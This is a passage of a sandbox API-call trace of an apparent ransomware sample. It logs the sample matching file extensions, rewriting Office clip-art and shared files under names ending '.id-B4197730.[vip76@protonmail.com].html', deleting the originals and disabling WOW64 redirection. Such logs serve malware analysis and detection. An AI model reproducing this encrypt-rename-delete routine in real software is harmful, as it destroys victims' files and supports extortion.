	[0204.375] lstrlenW (lpString=".jpg") returned 4
	[0204.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.376] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0204.376] lstrlenW (lpString="J0153091.WMF") returned 12
	[0204.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0204.376] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=8136) returned 1
	[0204.377] CloseHandle (hObject=0x338) returned 1
	[0204.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf")) returned 0x220
	[0204.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0204.377] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.377] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0204.378] GetLastError () returned 0x0
	[0204.378] ReadFile (in: hFile=0x338, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x1fc8, lpOverlapped=0x0) returned 1
	[0204.668] WriteFile (in: hFile=0x434, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x1fd0, lpOverlapped=0x0) returned 1
	[0204.669] ReadFile (in: hFile=0x338, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.669] WriteFile (in: hFile=0x434, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0204.669] SetEndOfFile (hFile=0x434) returned 1
	[0204.669] CloseHandle (hObject=0x434) returned 1
	[0204.669] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.669] SetEndOfFile (hFile=0x338) returned 1
	[0204.672] CloseHandle (hObject=0x338) returned 1
	[0204.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf")) returned 1
	[0204.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0204.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0204.674] lstrlenW (lpString=".doc") returned 4
	[0204.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.674] lstrlenW (lpString=".docx") returned 5
	[0204.674] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0204.674] lstrlenW (lpString=".pdf") returned 4
	[0204.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.674] lstrlenW (lpString=".xls") returned 4
	[0204.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.674] lstrlenW (lpString=".xlsx") returned 5
	[0204.674] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0204.674] lstrlenW (lpString=".ppt") returned 4
	[0204.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0204.675] lstrlenW (lpString=".zip") returned 4
	[0204.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.675] lstrlenW (lpString=".rar") returned 4
	[0204.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.675] lstrlenW (lpString=".bz2") returned 4
	[0204.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.675] lstrlenW (lpString=".7z") returned 3
	[0204.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0204.675] lstrlenW (lpString=".dbf") returned 4
	[0204.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0204.675] lstrlenW (lpString=".1cd") returned 4
	[0204.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0204.675] lstrlenW (lpString=".jpg") returned 4
	[0204.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0204.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0204.675] lstrlenW (lpString=".doc") returned 4
	[0204.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.675] lstrlenW (lpString=".docx") returned 5
	[0204.675] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0204.675] lstrlenW (lpString=".pdf") returned 4
	[0204.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.675] lstrlenW (lpString=".xls") returned 4
	[0204.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.675] lstrlenW (lpString=".xlsx") returned 5
	[0204.675] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0204.675] lstrlenW (lpString=".ppt") returned 4
	[0204.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0204.676] lstrlenW (lpString=".zip") returned 4
	[0204.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.676] lstrlenW (lpString=".rar") returned 4
	[0204.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.676] lstrlenW (lpString=".bz2") returned 4
	[0204.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.676] lstrlenW (lpString=".7z") returned 3
	[0204.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0204.676] lstrlenW (lpString=".dbf") returned 4
	[0204.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0204.676] lstrlenW (lpString=".1cd") returned 4
	[0204.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0204.676] lstrlenW (lpString=".jpg") returned 4
	[0204.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.676] lstrlenW (lpString=".id-") returned 4
	[0204.676] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x673200 | out: hHeap=0x610000) returned 1
	[0204.676] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6bbf88 | out: hHeap=0x610000) returned 1
	[0204.676] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3e00958 | out: hHeap=0x610000) returned 1
	[0204.678] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3e10960 | out: hHeap=0x610000) returned 1
	[0204.679] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x40ce020 | out: hHeap=0x610000) returned 1
	[0204.684] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6731a0 | out: hHeap=0x610000) returned 1
	[0204.684] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x44416a0
	[0204.684] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x44416a0, Size=0x20) returned 0x6685b0
	[0204.684] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x4441628
	[0204.684] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x4441628, Size=0x20) returned 0x6683d0
	[0204.684] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0204.684] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0204.684] Wow64DisableWow64FsRedirection (in: OldValue=0x364ff50 | out: OldValue=0x364ff50*=0x1) returned 1
	[0204.684] lstrlenW (lpString="kernel32.dll") returned 12
	[0204.684] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6683d0 | out: hHeap=0x610000) returned 1
	[0204.684] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0204.684] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6685b0 | out: hHeap=0x610000) returned 1

Thread:
	id = 48
	os_tid = 0xdd0

	[0165.143] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10000) returned 0x3e30970
	[0165.144] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10000) returned 0x3e40978
	[0165.144] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673218
	[0165.144] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x6) returned 0x6bbf98
	[0165.144] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673230
	[0165.144] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x100000) returned 0x41d0020
	[0165.147] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673248
	[0165.147] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x673248, Size=0x20) returned 0x64d838
	[0165.147] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673278
	[0165.147] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x673278, Size=0x20) returned 0x64d928
	[0165.147] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0165.147] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0165.147] Wow64DisableWow64FsRedirection (in: OldValue=0x378ff50 | out: OldValue=0x378ff50*=0x0) returned 1
	[0165.147] lstrlenW (lpString="kernel32.dll") returned 12
	[0165.147] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d838 | out: hHeap=0x610000) returned 1
	[0165.147] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0165.147] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d928 | out: hHeap=0x610000) returned 1
	[0165.147] Sleep (dwMilliseconds=0x64) 
	[0165.355] Sleep (dwMilliseconds=0x64) 
	[0165.743] Sleep (dwMilliseconds=0x64) 
	[0166.016] Sleep (dwMilliseconds=0x64) 
	[0166.327] lstrcmpiW (lpString1=".LOG", lpString2=".html") returned 1
	[0166.327] lstrlenW (lpString="BCD.LOG") returned 7
	[0166.327] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.327] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0166.328] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0166.328] lstrlenW (lpString=".doc") returned 4
	[0166.328] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0166.328] lstrlenW (lpString=".docx") returned 5
	[0166.328] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0166.328] lstrlenW (lpString=".pdf") returned 4
	[0166.328] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0166.328] lstrlenW (lpString=".xls") returned 4
	[0166.328] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0166.328] lstrlenW (lpString=".xlsx") returned 5
	[0166.328] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0166.328] lstrlenW (lpString=".ppt") returned 4
	[0166.328] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0166.328] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0166.328] lstrlenW (lpString=".zip") returned 4
	[0166.328] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0166.328] lstrlenW (lpString=".rar") returned 4
	[0166.328] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0166.328] lstrlenW (lpString=".bz2") returned 4
	[0166.328] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0166.328] lstrlenW (lpString=".7z") returned 3
	[0166.328] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0166.328] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0166.328] lstrlenW (lpString=".dbf") returned 4
	[0166.328] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0166.328] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0166.328] lstrlenW (lpString=".1cd") returned 4
	[0166.328] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0166.328] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0166.328] lstrlenW (lpString=".jpg") returned 4
	[0166.328] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0166.328] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0166.329] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0166.329] lstrlenW (lpString=".doc") returned 4
	[0166.329] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0166.329] lstrlenW (lpString=".docx") returned 5
	[0166.329] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0166.329] lstrlenW (lpString=".pdf") returned 4
	[0166.329] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0166.329] lstrlenW (lpString=".xls") returned 4
	[0166.329] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0166.329] lstrlenW (lpString=".xlsx") returned 5
	[0166.329] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0166.329] lstrlenW (lpString=".ppt") returned 4
	[0166.329] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0166.329] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0166.329] lstrlenW (lpString=".zip") returned 4
	[0166.329] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0166.329] lstrlenW (lpString=".rar") returned 4
	[0166.329] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0166.329] lstrlenW (lpString=".bz2") returned 4
	[0166.329] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0166.329] lstrlenW (lpString=".7z") returned 3
	[0166.329] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0166.329] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0166.329] lstrlenW (lpString=".dbf") returned 4
	[0166.329] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0166.329] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0166.329] lstrlenW (lpString=".1cd") returned 4
	[0166.329] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0166.329] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0166.329] lstrlenW (lpString=".jpg") returned 4
	[0166.329] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0166.330] Sleep (dwMilliseconds=0x64) 
	[0166.654] Sleep (dwMilliseconds=0x64) 
	[0167.005] Sleep (dwMilliseconds=0x64) 
	[0167.307] Sleep (dwMilliseconds=0x64) 
	[0167.568] Sleep (dwMilliseconds=0x64) 
	[0167.912] Sleep (dwMilliseconds=0x64) 
	[0168.172] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0168.172] lstrlenW (lpString="auxpad.xml") returned 10
	[0168.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c
	[0168.238] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=212) returned 1
	[0168.238] CloseHandle (hObject=0x46c) returned 1
	[0168.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20
	[0168.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.239] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0168.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0168.239] lstrlenW (lpString=".doc") returned 4
	[0168.239] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0168.239] lstrlenW (lpString=".docx") returned 5
	[0168.239] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0168.239] lstrlenW (lpString=".pdf") returned 4
	[0168.239] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0168.239] lstrlenW (lpString=".xls") returned 4
	[0168.239] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0168.239] lstrlenW (lpString=".xlsx") returned 5
	[0168.239] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0168.239] lstrlenW (lpString=".ppt") returned 4
	[0168.239] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0168.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0168.239] lstrlenW (lpString=".zip") returned 4
	[0168.239] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0168.239] lstrlenW (lpString=".rar") returned 4
	[0168.239] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0168.239] lstrlenW (lpString=".bz2") returned 4
	[0168.239] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0168.239] lstrlenW (lpString=".7z") returned 3
	[0168.239] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0168.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0168.257] lstrlenW (lpString=".dbf") returned 4
	[0168.257] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0168.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0168.258] lstrlenW (lpString=".1cd") returned 4
	[0168.258] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0168.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0168.258] lstrlenW (lpString=".jpg") returned 4
	[0168.258] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0168.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0168.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0168.258] lstrlenW (lpString=".doc") returned 4
	[0168.258] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0168.258] lstrlenW (lpString=".docx") returned 5
	[0168.258] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0168.258] lstrlenW (lpString=".pdf") returned 4
	[0168.258] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0168.258] lstrlenW (lpString=".xls") returned 4
	[0168.258] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0168.258] lstrlenW (lpString=".xlsx") returned 5
	[0168.258] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0168.258] lstrlenW (lpString=".ppt") returned 4
	[0168.258] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0168.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0168.258] lstrlenW (lpString=".zip") returned 4
	[0168.258] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0168.258] lstrlenW (lpString=".rar") returned 4
	[0168.258] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0168.258] lstrlenW (lpString=".bz2") returned 4
	[0168.258] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0168.258] lstrlenW (lpString=".7z") returned 3
	[0168.258] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0168.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0168.258] lstrlenW (lpString=".dbf") returned 4
	[0168.259] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0168.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0168.259] lstrlenW (lpString=".1cd") returned 4
	[0168.259] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0168.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0168.259] lstrlenW (lpString=".jpg") returned 4
	[0168.259] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0168.259] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0168.259] lstrlenW (lpString="ipsdan.xml") returned 10
	[0168.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c
	[0168.260] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=2514) returned 1
	[0168.260] CloseHandle (hObject=0x46c) returned 1
	[0168.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20
	[0168.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0168.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0168.261] lstrlenW (lpString=".doc") returned 4
	[0168.261] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0168.261] lstrlenW (lpString=".docx") returned 5
	[0168.261] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0168.261] lstrlenW (lpString=".pdf") returned 4
	[0168.261] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0168.261] lstrlenW (lpString=".xls") returned 4
	[0168.261] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0168.261] lstrlenW (lpString=".xlsx") returned 5
	[0168.261] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0168.261] lstrlenW (lpString=".ppt") returned 4
	[0168.261] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0168.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0168.261] lstrlenW (lpString=".zip") returned 4
	[0168.261] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0168.261] lstrlenW (lpString=".rar") returned 4
	[0168.261] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0168.261] lstrlenW (lpString=".bz2") returned 4
	[0168.261] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0168.261] lstrlenW (lpString=".7z") returned 3
	[0168.261] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0168.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0168.261] lstrlenW (lpString=".dbf") returned 4
	[0168.261] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
